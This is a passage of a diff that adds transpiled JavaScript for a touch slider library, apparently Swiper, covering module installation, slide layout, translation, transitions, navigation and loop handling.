Array.isArray(s[0])) { + i = s[0]; + n = s.slice(1, s.length); + r = t + } else { + i = s[0].events; + n = s[0].data; + r = s[0].context || t + } + var l = Array.isArray(i) ? i : i.split(" "); + l.forEach(function (e) { + if (t.eventsListeners && t.eventsListeners[e]) { + var i = []; + t.eventsListeners[e].forEach(function (e) { + i.push(e) + }); + i.forEach(function (e) { + e.apply(r, n) + }) + } + }); + return t + } + }, { + key: "useModulesParams", + value: function e(t) { + var i = this; + if (!i.modules) return; + (0, g.default)(i.modules).forEach(function (e) { + var n = i.modules[e]; + if (n.params) { + k.extend(t, n.params) + } + }) + } + }, { + key: "useModules", + value: function e() { + var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; + var i = this; + if (!i.modules) return; + (0, g.default)(i.modules).forEach(function (e) { + var n = i.modules[e]; + var r = t[e] || {}; + if (n.instance) { + (0, g.default)(n.instance).forEach(function (e) { + var t = n.instance[e]; + if (typeof t === "function") { + i[e] = t.bind(i) + } else { + i[e] = t + } + }) + } + if (n.on && i.on) { + (0, g.default)(n.on).forEach(function (e) { + i.on(e, n.on[e]) + }) + } + if (n.create) { + n.create.bind(i)(r) + } + }) + } + }], [{ + key: "installModule", + value: function e(t) { + var i = this; + if (!i.prototype.modules) i.prototype.modules = {}; + var n = t.name || (0, g.default)(i.prototype.modules).length + "_" + k.now(); + i.prototype.modules[n] = t; + if (t.proto) { + (0, g.default)(t.proto).forEach(function (e) { + i.prototype[e] = t.proto[e] + }) + } + if (t.static) { + (0, g.default)(t.static).forEach(function (e) { + i[e] = t.static[e] + }) + } + if (t.install) { + for (var r = arguments.length, a = Array(r > 1 ? r - 1 : 0), s = 1; s < r; s++) { + a[s - 1] = arguments[s] + } + t.install.apply(i, a) + } + return i + } + }, { + key: "use", + value: function e(t) { + var i = this; + if (Array.isArray(t)) { + t.forEach(function (e) { + return i.installModule(e) + }); + return i + } + for (var n = arguments.length, r = Array(n > 1 ? n - 1 : 0), a = 1; a < n; a++) { + r[a - 1] = arguments[a] + } + return i.installModule.apply(i, [t].concat(r)) + } + }, { + key: "components", + set: function e(t) { + var i = this; + if (!i.use) return; + i.use(t) + } + }]); + return e + }(); + + function x() { + var e = this; + var t = void 0; + var i = void 0; + var n = e.$el; + if (typeof e.params.width !== "undefined") { + t = e.params.width + } else { + t = n[0].clientWidth + } + if (typeof e.params.height !== "undefined") { + i = e.params.height + } else { + i = n[0].clientHeight + } + if (t === 0 && e.isHorizontal() || i === 0 && e.isVertical()) { + return + } + t = t - parseInt(n.css("padding-left"), 10) - parseInt(n.css("padding-right"), 10); + i = i - parseInt(n.css("padding-top"), 10) - parseInt(n.css("padding-bottom"), 10); + k.extend(e, { + width: t, + height: i, + size: e.isHorizontal() ? t : i + }) + } + + function S() { + var e = this; + var t = e.params; + var i = e.$wrapperEl, + n = e.size, + r = e.rtlTranslate, + a = e.wrongRTL; + var s = e.virtual && t.virtual.enabled; + var o = s ? e.virtual.slides.length : e.slides.length; + var l = i.children("." + e.params.slideClass); + var u = s ? e.virtual.slides.length : l.length; + var d = []; + var f = []; + var c = []; + var h = t.slidesOffsetBefore; + if (typeof h === "function") { + h = t.slidesOffsetBefore.call(e) + } + var m = t.slidesOffsetAfter; + if (typeof m === "function") { + m = t.slidesOffsetAfter.call(e) + } + var p = e.snapGrid.length; + var v = e.snapGrid.length; + var _ = t.spaceBetween; + var g = -h; + var y = 0; + var w = 0; + if (typeof n === "undefined") { + return + } + if (typeof _ === "string" && _.indexOf("%") >= 0) { + _ = parseFloat(_.replace("%", "")) / 100 * n + } + e.virtualSize = -_; + if (r) l.css({ + marginLeft: "", + marginTop: "" + }); + else l.css({ + marginRight: "", + marginBottom: "" + }); + var M = void 0; + if (t.slidesPerColumn > 1) { + if (Math.floor(u / t.slidesPerColumn) === u / e.params.slidesPerColumn) { + M = u + } else { + M = Math.ceil(u / t.slidesPerColumn) * t.slidesPerColumn + } + if (t.slidesPerView !== "auto" && t.slidesPerColumnFill === "row") { + M = Math.max(M, t.slidesPerView * t.slidesPerColumn) + } + } + var T = void 0; + var x = t.slidesPerColumn; + var S = M / x; + var Y = S - (t.slidesPerColumn * S - u); + for (var D = 0; D < u; D += 1) { + T = 0; + var E = l.eq(D); + if (t.slidesPerColumn > 1) { + var C = void 0; + var P = void 0; + var A = void 0; + if (t.slidesPerColumnFill === "column") { + P = Math.floor(D / x); + A = D - P * x; + if (P > Y || P === Y && A === x - 1) { + A += 1; + if (A >= x) { + A = 0; + P += 1 + } + } + C = P + A * M / x; + E.css({ + "-webkit-box-ordinal-group": C, + "-moz-box-ordinal-group": C, + "-ms-flex-order": C, + "-webkit-order": C, + order: C + }) + } else { + A = Math.floor(D / S); + P = D - A * S + } + E.css("margin-" + (e.isHorizontal() ? "top" : "left"), A !== 0 && t.spaceBetween && t.spaceBetween + "px").attr("data-swiper-column", P).attr("data-swiper-row", A) + } + if (E.css("display") === "none") continue; + if (t.slidesPerView === "auto") { + var O = b.window.getComputedStyle(E[0], null); + var j = E[0].style.transform; + var H = E[0].style.webkitTransform; + if (j) { + E[0].style.transform = "none" + } + if (H) { + E[0].style.webkitTransform = "none" + } + if (t.roundLengths) { + T = e.isHorizontal() ? E.outerWidth(true) : E.outerHeight(true) + } else { + if (e.isHorizontal()) { + T = E[0].getBoundingClientRect().width + parseFloat(O.getPropertyValue("margin-left")) + parseFloat(O.getPropertyValue("margin-right")) + } else { + T = E[0].getBoundingClientRect().height + parseFloat(O.getPropertyValue("margin-top")) + parseFloat(O.getPropertyValue("margin-bottom")) + } + } + if (j) { + E[0].style.transform = j + } + if (H) { + E[0].style.webkitTransform = H + } + if (t.roundLengths) T = Math.floor(T) + } else { + T = (n - (t.slidesPerView - 1) * _) / t.slidesPerView; + if (t.roundLengths) T = Math.floor(T); + if (l[D]) { + if (e.isHorizontal()) { + l[D].style.width = T + "px" + } else { + l[D].style.height = T + "px" + } + } + } + if (l[D]) { + l[D].swiperSlideSize = T + } + c.push(T); + if (t.centeredSlides) { + g = g + T / 2 + y / 2 + _; + if (y === 0 && D !== 0) g = g - n / 2 - _; + if (D === 0) g = g - n / 2 - _; + if (Math.abs(g) < 1 / 1e3) g = 0; + if (t.roundLengths) g = Math.floor(g); + if (w % t.slidesPerGroup === 0) d.push(g); + f.push(g) + } else { + if (t.roundLengths) g = Math.floor(g); + if (w % t.slidesPerGroup === 0) d.push(g); + f.push(g); + g = g + T + _ + } + e.virtualSize += T + _; + y = T; + w += 1 + } + e.virtualSize = Math.max(e.virtualSize, n) + m; + var I = void 0; + if (r && a && (t.effect === "slide" || t.effect === "coverflow")) { + i.css({ + width: e.virtualSize + t.spaceBetween + "px" + }) + } + if (!L.flexbox || t.setWrapperSize) { + if (e.isHorizontal()) i.css({ + width: e.virtualSize + t.spaceBetween + "px" + }); + else i.css({ + height: e.virtualSize + t.spaceBetween + "px" + }) + } + if (t.slidesPerColumn > 1) { + e.virtualSize = (T + t.spaceBetween) * M; + e.virtualSize = Math.ceil(e.virtualSize / t.slidesPerColumn) - t.spaceBetween; + if (e.isHorizontal()) i.css({ + width: e.virtualSize + t.spaceBetween + "px" + }); + else i.css({ + height: e.virtualSize + t.spaceBetween + "px" + }); + if (t.centeredSlides) { + I = []; + for (var F = 0; F < d.length; F += 1) { + var z = d[F]; + if (t.roundLengths) z = Math.floor(z); + if (d[F] < e.virtualSize + d[0]) I.push(z) + } + d = I + } + } + if (!t.centeredSlides) { + I = []; + for (var R = 0; R < d.length; R += 1) { + var N = d[R]; + if (t.roundLengths) N = Math.floor(N); + if (d[R] <= e.virtualSize - n) { + I.push(N) + } + } + d = I; + if (Math.floor(e.virtualSize - n) - Math.floor(d[d.length - 1]) > 1) { + d.push(e.virtualSize - n) + } + } + if (d.length === 0) d = [0]; + if (t.spaceBetween !== 0) { + if (e.isHorizontal()) { + if (r) l.css({ + marginLeft: _ + "px" + }); + else l.css({ + marginRight: _ + "px" + }) + } else l.css({ + marginBottom: _ + "px" + }) + } + if (t.centerInsufficientSlides) { + var W = 0; + c.forEach(function (e) { + W += e + (t.spaceBetween ? t.spaceBetween : 0) + }); + W -= t.spaceBetween; + if (W < n) { + var B = (n - W) / 2; + d.forEach(function (e, t) { + d[t] = e - B + }); + f.forEach(function (e, t) { + f[t] = e + B + }) + } + } + k.extend(e, { + slides: l, + snapGrid: d, + slidesGrid: f, + slidesSizesGrid: c + }); + if (u !== o) { + e.emit("slidesLengthChange") + } + if (d.length !== p) { + if (e.params.watchOverflow) e.checkOverflow(); + e.emit("snapGridLengthChange") + } + if (f.length !== v) { + e.emit("slidesGridLengthChange") + } + if (t.watchSlidesProgress || t.watchSlidesVisibility) { + e.updateSlidesOffset() + } + } + + function Y(e) { + var t = this; + var i = []; + var n = 0; + var r = void 0; + if (typeof e === "number") { + t.setTransition(e) + } else if (e === true) { + t.setTransition(t.params.speed) + } + if (t.params.slidesPerView !== "auto" && t.params.slidesPerView > 1) { + for (r = 0; r < Math.ceil(t.params.slidesPerView); r += 1) { + var a = t.activeIndex + r; + if (a > t.slides.length) break; + i.push(t.slides.eq(a)[0]) + } + } else { + i.push(t.slides.eq(t.activeIndex)[0]) + } + for (r = 0; r < i.length; r += 1) { + if (typeof i[r] !== "undefined") { + var s = i[r].offsetHeight; + n = s > n ? s : n + } + } + if (n) t.$wrapperEl.css("height", n + "px") + } + + function D() { + var e = this; + var t = e.slides; + for (var i = 0; i < t.length; i += 1) { + t[i].swiperSlideOffset = e.isHorizontal() ? t[i].offsetLeft : t[i].offsetTop + } + } + + function E() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this && this.translate || 0; + var t = this; + var i = t.params; + var n = t.slides, + r = t.rtlTranslate; + if (n.length === 0) return; + if (typeof n[0].swiperSlideOffset === "undefined") t.updateSlidesOffset(); + var a = -e; + if (r) a = e; + n.removeClass(i.slideVisibleClass); + t.visibleSlidesIndexes = []; + t.visibleSlides = []; + for (var s = 0; s < n.length; s += 1) { + var o = n[s]; + var l = (a + (i.centeredSlides ? t.minTranslate() : 0) - o.swiperSlideOffset) / (o.swiperSlideSize + i.spaceBetween); + if (i.watchSlidesVisibility) { + var u = -(a - o.swiperSlideOffset); + var d = u + t.slidesSizesGrid[s]; + var f = u >= 0 && u < t.size || d > 0 && d <= t.size || u <= 0 && d >= t.size; + if (f) { + t.visibleSlides.push(o); + t.visibleSlidesIndexes.push(s); + n.eq(s).addClass(i.slideVisibleClass) + } + } + o.progress = r ? -l : l + } + t.visibleSlides = (0, y.$)(t.visibleSlides) + } + + function C() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this && this.translate || 0; + var t = this; + var i = t.params; + var n = t.maxTranslate() - t.minTranslate(); + var r = t.progress, + a = t.isBeginning, + s = t.isEnd; + var o = a; + var l = s; + if (n === 0) { + r = 0; + a = true; + s = true + } else { + r = (e - t.minTranslate()) / n; + a = r <= 0; + s = r >= 1 + } + k.extend(t, { + progress: r, + isBeginning: a, + isEnd: s + }); + if (i.watchSlidesProgress || i.watchSlidesVisibility) t.updateSlidesProgress(e); + if (a && !o) { + t.emit("reachBeginning toEdge") + } + if (s && !l) { + t.emit("reachEnd toEdge") + } + if (o && !a || l && !s) { + t.emit("fromEdge") + } + t.emit("progress", r) + } + + function P() { + var e = this; + var t = e.slides, + i = e.params, + n = e.$wrapperEl, + r = e.activeIndex, + a = e.realIndex; + var s = e.virtual && i.virtual.enabled; + t.removeClass(i.slideActiveClass + " " + i.slideNextClass + " " + i.slidePrevClass + " " + i.slideDuplicateActiveClass + " " + i.slideDuplicateNextClass + " " + i.slideDuplicatePrevClass); + var o = void 0; + if (s) { + o = e.$wrapperEl.find("." + i.slideClass + '[data-swiper-slide-index="' + r + '"]') + } else { + o = t.eq(r) + } + o.addClass(i.slideActiveClass); + if (i.loop) { + if (o.hasClass(i.slideDuplicateClass)) { + n.children("." + i.slideClass + ":not(." + i.slideDuplicateClass + ')[data-swiper-slide-index="' + a + '"]').addClass(i.slideDuplicateActiveClass) + } else { + n.children("." + i.slideClass + "." + i.slideDuplicateClass + '[data-swiper-slide-index="' + a + '"]').addClass(i.slideDuplicateActiveClass) + } + } + var l = o.nextAll("." + i.slideClass).eq(0).addClass(i.slideNextClass); + if (i.loop && l.length === 0) { + l = t.eq(0); + l.addClass(i.slideNextClass) + } + var u = o.prevAll("." + i.slideClass).eq(0).addClass(i.slidePrevClass); + if (i.loop && u.length === 0) { + u = t.eq(-1); + u.addClass(i.slidePrevClass) + } + if (i.loop) { + if (l.hasClass(i.slideDuplicateClass)) { + n.children("." + i.slideClass + ":not(." + i.slideDuplicateClass + ')[data-swiper-slide-index="' + l.attr("data-swiper-slide-index") + '"]').addClass(i.slideDuplicateNextClass) + } else { + n.children("." + i.slideClass + "." + i.slideDuplicateClass + '[data-swiper-slide-index="' + l.attr("data-swiper-slide-index") + '"]').addClass(i.slideDuplicateNextClass) + } + if (u.hasClass(i.slideDuplicateClass)) { + n.children("." + i.slideClass + ":not(." + i.slideDuplicateClass + ')[data-swiper-slide-index="' + u.attr("data-swiper-slide-index") + '"]').addClass(i.slideDuplicatePrevClass) + } else { + n.children("." + i.slideClass + "." + i.slideDuplicateClass + '[data-swiper-slide-index="' + u.attr("data-swiper-slide-index") + '"]').addClass(i.slideDuplicatePrevClass) + } + } + } + + function A(e) { + var t = this; + var i = t.rtlTranslate ? t.translate : -t.translate; + var n = t.slidesGrid, + r = t.snapGrid, + a = t.params, + s = t.activeIndex, + o = t.realIndex, + l = t.snapIndex; + var u = e; + var d = void 0; + if (typeof u === "undefined") { + for (var f = 0; f < n.length; f += 1) { + if (typeof n[f + 1] !== "undefined") { + if (i >= n[f] && i < n[f + 1] - (n[f + 1] - n[f]) / 2) { + u = f + } else if (i >= n[f] && i < n[f + 1]) { + u = f + 1 + } + } else if (i >= n[f]) { + u = f + } + } + if (a.normalizeSlideIndex) { + if (u < 0 || typeof u === "undefined") u = 0 + } + } + if (r.indexOf(i) >= 0) { + d = r.indexOf(i) + } else { + d = Math.floor(u / a.slidesPerGroup) + } + if (d >= r.length) d = r.length - 1; + if (u === s) { + if (d !== l) { + t.snapIndex = d; + t.emit("snapIndexChange") + } + return + } + var c = parseInt(t.slides.eq(u).attr("data-swiper-slide-index") || u, 10); + k.extend(t, { + snapIndex: d, + realIndex: c, + previousIndex: s, + activeIndex: u + }); + t.emit("activeIndexChange"); + t.emit("snapIndexChange"); + if (o !== c) { + t.emit("realIndexChange") + } + t.emit("slideChange") + } + + function O(e) { + var t = this; + var i = t.params; + var n = (0, y.$)(e.target).closest("." + i.slideClass)[0]; + var r = false; + if (n) { + for (var a = 0; a < t.slides.length; a += 1) { + if (t.slides[a] === n) r = true + } + } + if (n && r) { + t.clickedSlide = n; + if (t.virtual && t.params.virtual.enabled) { + t.clickedIndex = parseInt((0, y.$)(n).attr("data-swiper-slide-index"), 10) + } else { + t.clickedIndex = (0, y.$)(n).index() + } + } else { + t.clickedSlide = undefined; + t.clickedIndex = undefined; + return + } + if (i.slideToClickedSlide && t.clickedIndex !== undefined && t.clickedIndex !== t.activeIndex) { + t.slideToClickedSlide() + } + } + var j = { + updateSize: x, + updateSlides: S, + updateAutoHeight: Y, + updateSlidesOffset: D, + updateSlidesProgress: E, + updateProgress: C, + updateSlidesClasses: P, + updateActiveIndex: A, + updateClickedSlide: O + }; + + function H() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.isHorizontal() ? "x" : "y"; + var t = this; + var i = t.params, + n = t.rtlTranslate, + r = t.translate, + a = t.$wrapperEl; + if (i.virtualTranslate) { + return n ? -r : r + } + var s = k.getTranslate(a[0], e); + if (n) s = -s; + return s || 0 + } + + function I(e, t) { + var i = this; + var n = i.rtlTranslate, + r = i.params, + a = i.$wrapperEl, + s = i.progress; + var o = 0; + var l = 0; + var u = 0; + if (i.isHorizontal()) { + o = n ? -e : e + } else { + l = e + } + if (r.roundLengths) { + o = Math.floor(o); + l = Math.floor(l) + } + if (!r.virtualTranslate) { + if (L.transforms3d) a.transform("translate3d(" + o + "px, " + l + "px, " + u + "px)"); + else a.transform("translate(" + o + "px, " + l + "px)") + } + i.previousTranslate = i.translate; + i.translate = i.isHorizontal() ? o : l; + var d = void 0; + var f = i.maxTranslate() - i.minTranslate(); + if (f === 0) { + d = 0 + } else { + d = (e - i.minTranslate()) / f + } + if (d !== s) { + i.updateProgress(e) + } + i.emit("setTranslate", i.translate, t) + } + + function F() { + return -this.snapGrid[0] + } + + function z() { + return -this.snapGrid[this.snapGrid.length - 1] + } + var R = { + getTranslate: H, + setTranslate: I, + minTranslate: F, + maxTranslate: z + }; + + function N(e, t) { + var i = this; + i.$wrapperEl.transition(e); + i.emit("setTransition", e, t) + } + + function W() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; + var t = arguments[1]; + var i = this; + var n = i.activeIndex, + r = i.params, + a = i.previousIndex; + if (r.autoHeight) { + i.updateAutoHeight() + } + var s = t; + if (!s) { + if (n > a) s = "next"; + else if (n < a) s = "prev"; + else s = "reset" + } + i.emit("transitionStart"); + if (e && n !== a) { + if (s === "reset") { + i.emit("slideResetTransitionStart"); + return + } + i.emit("slideChangeTransitionStart"); + if (s === "next") { + i.emit("slideNextTransitionStart") + } else { + i.emit("slidePrevTransitionStart") + } + } + } + + function B() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : true; + var t = arguments[1]; + var i = this; + var n = i.activeIndex, + r = i.previousIndex; + i.animating = false; + i.setTransition(0); + var a = t; + if (!a) { + if (n > r) a = "next"; + else if (n < r) a = "prev"; + else a = "reset" + } + i.emit("transitionEnd"); + if (e && n !== r) { + if (a === "reset") { + i.emit("slideResetTransitionEnd"); + return + } + i.emit("slideChangeTransitionEnd"); + if (a === "next") { + i.emit("slideNextTransitionEnd") + } else { + i.emit("slidePrevTransitionEnd") + } + } + } + var q = { + setTransition: N, + transitionStart: W, + transitionEnd: B + }; + + function $() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; + var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.params.speed; + var i = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true; + var n = arguments[3]; + var r = this; + var a = e; + if (a < 0) a = 0; + var s = r.params, + o = r.snapGrid, + l = r.slidesGrid, + u = r.previousIndex, + d = r.activeIndex, + f = r.rtlTranslate; + if (r.animating && s.preventInteractionOnTransition) { + return false + } + var c = Math.floor(a / s.slidesPerGroup); + if (c >= o.length) c = o.length - 1; + if ((d || s.initialSlide || 0) === (u || 0) && i) { + r.emit("beforeSlideChangeStart") + } + var h = -o[c]; + r.updateProgress(h); + if (s.normalizeSlideIndex) { + for (var m = 0; m < l.length; m += 1) { + if (-Math.floor(h * 100) >= Math.floor(l[m] * 100)) { + a = m + } + } + } + if (r.initialized && a !== d) { + if (!r.allowSlideNext && h < r.translate && h < r.minTranslate()) { + return false + } + if (!r.allowSlidePrev && h > r.translate && h > r.maxTranslate()) { + if ((d || 0) !== a) return false + } + } + var p = void 0; + if (a > d) p = "next"; + else if (a < d) p = "prev"; + else p = "reset"; + if (f && -h === r.translate || !f && h === r.translate) { + r.updateActiveIndex(a); + if (s.autoHeight) { + r.updateAutoHeight() + } + r.updateSlidesClasses(); + if (s.effect !== "slide") { + r.setTranslate(h) + } + if (p !== "reset") { + r.transitionStart(i, p); + r.transitionEnd(i, p) + } + return false + } + if (t === 0 || !L.transition) { + r.setTransition(0); + r.setTranslate(h); + r.updateActiveIndex(a); + r.updateSlidesClasses(); + r.emit("beforeTransitionStart", t, n); + r.transitionStart(i, p); + r.transitionEnd(i, p) + } else { + r.setTransition(t); + r.setTranslate(h); + r.updateActiveIndex(a); + r.updateSlidesClasses(); + r.emit("beforeTransitionStart", t, n); + r.transitionStart(i, p); + if (!r.animating) { + r.animating = true; + if (!r.onSlideToWrapperTransitionEnd) { + r.onSlideToWrapperTransitionEnd = function e(t) { + if (!r || r.destroyed) return; + if (t.target !== this) return; + r.$wrapperEl[0].removeEventListener("transitionend", r.onSlideToWrapperTransitionEnd); + r.$wrapperEl[0].removeEventListener("webkitTransitionEnd", r.onSlideToWrapperTransitionEnd); + r.onSlideToWrapperTransitionEnd = null; + delete r.onSlideToWrapperTransitionEnd; + r.transitionEnd(i, p) + } + } + r.$wrapperEl[0].addEventListener("transitionend", r.onSlideToWrapperTransitionEnd); + r.$wrapperEl[0].addEventListener("webkitTransitionEnd", r.onSlideToWrapperTransitionEnd) + } + } + return true + } + + function V() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; + var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.params.speed; + var i = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : true; + var n = arguments[3]; + var r = this; + var a = e; + if (r.params.loop) { + a += r.loopedSlides + } + return r.slideTo(a, t, i, n) + } + + function G() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; + var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + var i = arguments[2]; + var n = this; + var r = n.params, + a = n.animating; + if (r.loop) { + if (a) return false; + n.loopFix(); + n._clientLeft = n.$wrapperEl[0].clientLeft; + return n.slideTo(n.activeIndex + r.slidesPerGroup, e, t, i) + } + return n.slideTo(n.activeIndex + r.slidesPerGroup, e, t, i) + } + + function U() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; + var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + var i = arguments[2]; + var n = this; + var r = n.params, + a = n.animating, + s = n.snapGrid, + o = n.slidesGrid, + l = n.rtlTranslate; + if (r.loop) { + if (a) return false; + n.loopFix(); + n._clientLeft = n.$wrapperEl[0].clientLeft + } + var u = l ? n.translate : -n.translate; + + function d(e) { + if (e < 0) return -Math.floor(Math.abs(e)); + return Math.floor(e) + } + var f = d(u); + var c = s.map(function (e) { + return d(e) + }); + var h = o.map(function (e) { + return d(e) + }); + var m = s[c.indexOf(f)]; + var p = s[c.indexOf(f) - 1]; + var v = void 0; + if (typeof p !== "undefined") { + v = o.indexOf(p); + if (v < 0) v = n.activeIndex - 1 + } + return n.slideTo(v, e, t, i) + } + + function X() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; + var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + var i = arguments[2]; + var n = this; + return n.slideTo(n.activeIndex, e, t, i) + } + + function J() { + var e = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; + var t = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : true; + var i = arguments[2]; + var n = this; + var r = n.activeIndex; + var a = Math.floor(r / n.params.slidesPerGroup); + if (a < n.snapGrid.length - 1) { + var s = n.rtlTranslate ? n.translate : -n.translate; + var o = n.snapGrid[a]; + var l = n.snapGrid[a + 1]; + if (s - o > (l - o) / 2) { + r = n.params.slidesPerGroup + } + } + return n.slideTo(r, e, t, i) + } + + function K() { + var e = this; + var t = e.params, + i = e.$wrapperEl; + var n = t.slidesPerView === "auto" ? e.slidesPerViewDynamic() : t.slidesPerView; + var r = e.clickedIndex; + var a = void 0; + if (t.loop) { + if (e.animating) return; + a = parseInt((0, y.$)(e.clickedSlide).attr("data-swiper-slide-index"), 10); + if (t.centeredSlides) { + if (r < e.loopedSlides - n / 2 || r > e.slides.length - e.loopedSlides + n / 2) { + e.loopFix(); + r = i.children("." + t.slideClass + '[data-swiper-slide-index="' + a + '"]:not(.' + t.slideDuplicateClass + ")").eq(0).index(); + k.nextTick(function () { + e.slideTo(r) + }) + } else { + e.slideTo(r) + } + } else if (r > e.slides.length - n) { + e.loopFix(); + r = i.children("." + t.slideClass + '[data-swiper-slide-index="' + a + '"]:not(.' + t.slideDuplicateClass + ")").eq(0).index(); + k.nextTick(function () { + e.slideTo(r) + }) + } else { + e.slideTo(r) + } + } else { + e.slideTo(r) + } + } + var Q = { + slideTo: $, + slideToLoop: V, + slideNext: G, + slidePrev: U, + slideReset: X, + slideToClosest: J, + slideToClickedSlide: K + }; + + function Z() { + var e = this; + var t = e.params, + i = e.$wrapperEl; + i.children("." + t.slideClass + "." + t.slideDuplicateClass).remove(); + var n = i.children("." + t.slideClass); + if (t.loopFillGroupWithBlank) { + var r = t.slidesPerGroup - n.length % t.slidesPerGroup; + if (r !== t.slidesPerGroup) { + for (var a = 0; a < r; a += 1) { + var s = (0, y.$)(b.document.createElement("div")).addClass(t.slideClass + " " + t.slideBlankClass); + i.append(s) + } + n = i.children("." + t.slideClass) + } + } + if (t.slidesPerView === "auto" && !t.loopedSlides) t.loopedSlides = n.length; + e.loopedSlides = parseInt(t.loopedSlides || t.slidesPerView, 10); + e.loopedSlides += t.loopAdditionalSlides; + if (e.loopedSlides > n.length) { + e.loopedSlides = n.length + } + var o = []; + var l = []; + n.each(function (t, i) { + var r = (0, y.$)(i); + if (t < e.loopedSlides) l.push(i); + if (t < n.length && t >= n.length - e.loopedSlides) o.push(i); + r.attr("data-swiper-slide-index", t) + }); + for (var u = 0; u < l.length; u += 1) { + i.append((0, y.$)(l[u].cloneNode(true)).addClass(t.slideDuplicateClass)) + } + for (var d = o.length - 1; d >= 0; d -= 1) { + i.prepend((0, y.$)(o[d].cloneNode(true)).addClass(t.slideDuplicateClass)) + } + } + + function ee() { + var e = this; + var t = e.params, + i = e.activeIndex, + n = e.slides, + r = e.loopedSlides, + a = e.allowSlidePrev, + s = e.allowSlideNext, + o = e.snapGrid, + l = e.rtlTranslate; + var u = void 0; + e.allowSlidePrev = true; + e.allowSlideNext = true; + var d = -o[i]; + var f = d - e.getTranslate(); + if (i < r) { + u = n.length - r * 3 + i; + u += r; + var c = e.slideTo(u, 0, false, true); + if (c && f !== 0) { + e.setTranslate((l ? -e.translate : e.translate) - f) + } + } else if (t.slidesPerView === "auto" && i >= r * 2 || i >= n.length - r) { + u = -n.length + i + r; + u += r; + var h = e.slideTo(u, 0, false, true); + if (h && f !== 0) { + e.setTranslate((l ? -e.translate : e.translate) - f) + } + } + e.allowSlidePrev = a; + e.allowSlideNext = s + } + + function te() { + var e = this; + var t = e.$wrapperEl, + i = e.params, + n = e.slides; + t.children("." + i.slideClass + "." + i.slideDuplicateClass).remove(); + n.removeAttr("data-swiper-slide-index") + } + var ie = { + loopCreate: Z, + loopFix: ee, + loopDestroy: te + }; + + function ne(e) { + var t = this; + if (L.touch || !t.params.simulateTouch || t.params.watchOverflow && t.isLocked) return; + var i = t.el; + i.style.cursor = "move"; + i.style.cursor = e ? "-webkit-grabbing" : "-webkit-grab"; + i.style.cursor = e ? "-moz-grabbin" : "-moz-grab"; + i.style.cursor = e ? "grabbing" : "grab" + } + + function re() { + var e = this; + if (L.touch || e.params.watchOverflow && e.isLocked) return; + e.el.style.cursor = "" + } + var ae = { + setGrabCursor: ne, + unsetGrabCursor: re + }; + + function se(e) { + var t = this; + var i = t.$wrapperEl, + n = t.params; + if (n.loop) { + t.loopDestroy() + } + if ((typeof e === "undefined" ? "undefined" : (0, v.default)(e)) === "object" && "length" in e) { + for (var r = 0; r < e.length; r += 1) { + if (e[r]) i.append(e[r]) + } + } else { + i.append(e) + } + if (n.loop) { + t.loopCreate() + } + if (!(n.observer && L.observer)) { + t.update() + } + } + + function oe(e) { + var t = this; + var i = t.params, + n = t.$wrapperEl, + r = t.activeIndex; + if (i.loop) { + t.loopDestroy() + } + var a = r + 1; + if ((typeof e === "undefined" ? "undefined" : (0, v.default)(e)) === "object" && "length" in e) { + for (var s = 0; s < e.length; s += 1) { + if (e[s]) n.prepend(e[s]) + } + a = r + e.length + } else { + n.prepend(e) + } + if (i.loop) { + t.loopCreate() + } + if (!(i.observer && L.observer)) { + t.update() + } + t.slideTo(a, 0, false) + } + + function le(e, t) { + var i = this; + var n = i.$wrapperEl, + r = i.params, + a = i.activeIndex; + var s = a; + if (r.loop) { + s -= i.loopedSlides; + i.loopDestroy(); + i.slides = n.children("." + r.slideClass) + } + var o = i.slides.length; + if (e <= 0) { + i.prependSlide(t); + return + } + if (e >= o) { + i.appendSlide(t); + return + } + var l = s > e ? s + 1 : s; + var u = []; + for (var d = o - 1; d >= e; d -= 1) { + var f = i.slides.eq(d); + f.remove(); + u.unshift(f) + } + if ((typeof t === "undefined" ? "undefined" : (0, v.default)(t)) === "object" && "length" in t) { + for (var c = 0; c < t.length; c += 1) { + if (t[c]) n.append(t[c]) + } + l = s > e ? s + t.length : s + } else { + n.append(t) + } + for (var h = 0; h < u.length; h += 1) { + n.append(u[h]) + } + if (r.loop) { + i.loopCreate() + } + if (!(r.observer && L.observer)) { + i.update() + } + if (r.loop) { + i.slideTo(l + i.loopedSlides, 0, false) + } else { + i.slideTo(l, 0, false) + } + } + + function ue(e) { + var t = this; + var i = t.params, + n = t.$wrapperEl, + r = t.activeIndex; + var a = r; + if (i.loop) { + a -= t.loopedSlides; + t.loopDestroy(); + t.slides = n.children("." + i.slideClass) + } + var s = a; + var o = void 0; + if ((typeof e === "undefined" ? "undefined" : (0, v.default)(e)) === "object" && "length" in e) { + for (var l = 0; l < e.length; l += 1) { + o = e[l]; + if (t.slides[o]) t.slides.eq(o).remove(); + if (o < s) s -= 1 + } + s = Math.max(s, 0) + } else { + o = e; + if (t.slides[o]) t.slides.eq(o).remove(); + if (o < s) s -= 1; + s = Math.max(s, 0) + } + if (i.loop) { + t.loopCreate() + } + if (!(i.observer && L.observer)) { + t.update() + } + if (i.loop) { + t.slideTo(s + t.loopedSlides, 0, false) + } else { + t.slideTo(s, 0, false) + } + } + + function de() { + var e = this; + var t = []; + for (var i = 0; i < e.slides.length; i += 1) { + t.push(i) + } + e.removeSlide(t) + } + var fe = { + 